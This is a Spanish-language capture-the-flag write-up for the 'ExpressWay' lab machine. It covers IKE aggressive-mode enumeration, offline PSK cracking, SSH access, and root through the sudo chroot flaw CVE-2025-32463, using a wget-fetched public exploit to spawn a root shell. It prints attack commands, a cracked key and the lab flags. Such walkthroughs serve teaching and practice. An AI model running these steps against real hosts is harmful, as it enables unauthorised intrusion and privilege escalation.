ExpressWay WriteUp

Iniciamos con un escaneo de nmap:
nmap -sV -Pn -sC 10.129.10.150
Como en TCP esta solo el puerto 22 abierto, el cual corresponde a ssh, realizamos tambien un escaneo de puertos UDP:
sudo nmap -sU -vv -Pn --min-rate 5000 10.129.10.150
Tras obtener los resultados del escaneo, notaremos que el puerto 500 esta abierto:
500/udp open isakmp udp-response ttl 63
Que es isakmp?
Internet Security Association and Key Management Protocol
Es el protocolo utilizado para negociar los parámetros de seguridad antes de crear un túnel VPN IPsec.
Entre otras cosas negocia:
algoritmo de cifrado
algoritmo hash
grupo Diffie-Hellman
método de autenticación (PSK o certificados)
Para interactuar con el servicio usamos la herramienta ike-scan. En este caso utilizamos la flag -M para mostrar la salida en múltiples líneas y facilitar su lectura. A partir de esta información, podemos identificar datos como:
algoritmos soportados
método de autenticación
características del servidor
sudo ike-scan -M 10.129.10.150
Esto nos dice que:
usa 3DES
usa SHA1
usa Diffie-Hellman group 2
la autenticación es PSK (Pre Shared Key)
Luego ejecutamos el mismo comando, pero agregando la opción --showbackoff para mostrar la tabla de backoff, la cual puede utilizarse para identificar la implementación IKE del host remoto:
sudo ike-scan -M --showbackoff 10.129.10.150
En este caso, el resultado sugiere:
Implementation guess: Linksys Etherfast
Esto indica que la implementación del servicio IKE podría corresponder a un dispositivo o stack compatible con Linksys Etherfast, aunque esta identificación no siempre es completamente precisa.
A continuación utilizamos Aggressive Mode para obtener más información del servicio IKE:
-P: muestra los parámetros del PSK obtenidos en Aggressive Mode, utilizables para cracking offline.-M: para que utilice multiline y muestre la salida en múltiples líneas para facilitar su lectura.-A: Fuerza el uso de IKE Aggressive Mode.-N: Evita la resolución DNS durante el escaneo.--id=groupnamedoesnotexist: Define un Group ID arbitrario para iniciar el intercambio IKE.
sudo ike-scan -P -M -A -n --id=groupnamedoesnotexist 10.129.10.150
El servidor devuelve el siguiente identificador:
ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
Esto revela el identificador utilizado en la autenticación IKE, que en este caso es:
ike@expressway.htb
El intercambio IKE en Aggressive Mode devuelve los parámetros necesarios para realizar un ataque offline contra el Pre-Shared Key (PSK).
Estos parámetros incluyen valores del intercambio Diffie-Hellman, nonces y el hash de autenticación generado durante el handshake, que puede ser utilizado para intentar recuperar la clave compartida mediante un ataque de diccionario.
Para ello, copiamos los parámetros obtenidos del output de ike-scan y los guardamos en un archivo:
echo d369998823b1ee395c04a7aabefbf68dcf... > ike.hash
Este archivo contiene los parámetros del intercambio IKE necesarios para realizar el cracking del PSK.
A continuación utilizamos la herramienta psk-crack, incluida junto con ike-scan, para realizar un ataque de diccionario utilizando la wordlist rockyou:
psk-crack ike.hash -d /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
Obtenemos la clave:
freakingrockstarontheroad
Utilizamos la clave para autenticarnos mediante ssh con el usuario previamente obtenido, y obtenemos la flag de user:
ssh ike@10.129.10.150
User Flag: 876d5b5c97deb07c0aea1a96b76132cf
Escalada de privilegios
Una vez obtenida una shell en la máquina como el usuario ike, intentamos verificar si el usuario tiene permisos de sudo ejecutando:
sudo -l
La respuesta del sistema indica que el usuario no tiene permisos para ejecutar comandos mediante sudo, por lo que debemos buscar otros posibles vectores de escalada de privilegios.
Para identificar posibles vectores de escalada de privilegios, utilizamos la herramienta linpeas, la cual automatiza la enumeración de configuraciones inseguras, permisos incorrectos y versiones vulnerables de software.
Primero levantamos un servidor HTTP en nuestra máquina atacante para transferir la herramienta:
python -m http.server 8081
Luego descargamos el script en la máquina objetivo:
wget http://IP/linpeas.sh
Una vez subido, le damos permiso de ejecucion con chmod +x linpeas.sh y lo ejecutamos con ./linpeas.sh
Tras revisar la salida de linpeas, observamos que el sistema utiliza una versión potencialmente vulnerable de sudo:
Para confirmarlo verificamos la versión instalada:
/usr/local/bin/sudo --version
CVE-2025-32463
Buscando exploits públicos para esta versión encontramos una vulnerabilidad identificada como CVE-2025-32463. Esta vulnerabilidad permite escalar privilegios a root mediante un bypass del entorno chroot en sudo.
https://www.exploit-db.com/exploits/52352
https://github.com/pr0v3rbs/CVE-2025-32463_chwoot/
El CVE-2025-32463 es una vulnerabilidad crítica de escalada local de privilegios en
sudo, relacionada con la opción--chroot(-R). Debido a un manejo inseguro densswitch.conf, un usuario local puede hacer quesudocargue configuración desde un directorio controlado por él y, en determinadas condiciones, lograr ejecución de código comoroot. Afecta a versiones anteriores asudo1.9.17p1.
Clonamos el exploit desde GitHub en nuestra máquina atacante:
git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot/
Luego iniciamos nuevamente un servidor HTTP para transferir el exploit a la máquina objetivo:
python -m http.server 8081
En la máquina víctima descargamos el exploit:
wget http://10.10.15.106:8081/sudo-chwoot.sh
Le damos permisos de ejecucion con chmod +x sudo-chwoot.sh y lo ejecutamos junto con el comando whoami para confirmar que el exploit funciona:
./sudo-chwoot.sh whoami
Si revisamos el resultado, veremos que el exploit se ejecuta con exito y tenemos acceso como root, por lo cual, vamos a volver a lanzar el comando, pero que esta vez nos devuelva una shell como root, para de esta forma obtener la flag:
./sudo-chwoot.sh /bin/bash
Root Flag: da872bcc3e0e3f20b20bf26b1502a8b9
📌 Sígueme / Portfolio
🌐 Web: https://0xnano.com
🐦 X: https://x.com/0xN4no
🐙 GitHub: https://github.com/0xN4no
🔎 ¿Te gustó el writeup? Comentá o compartilo — siempre respondo dudas y me encanta ver mejoras/PRs.



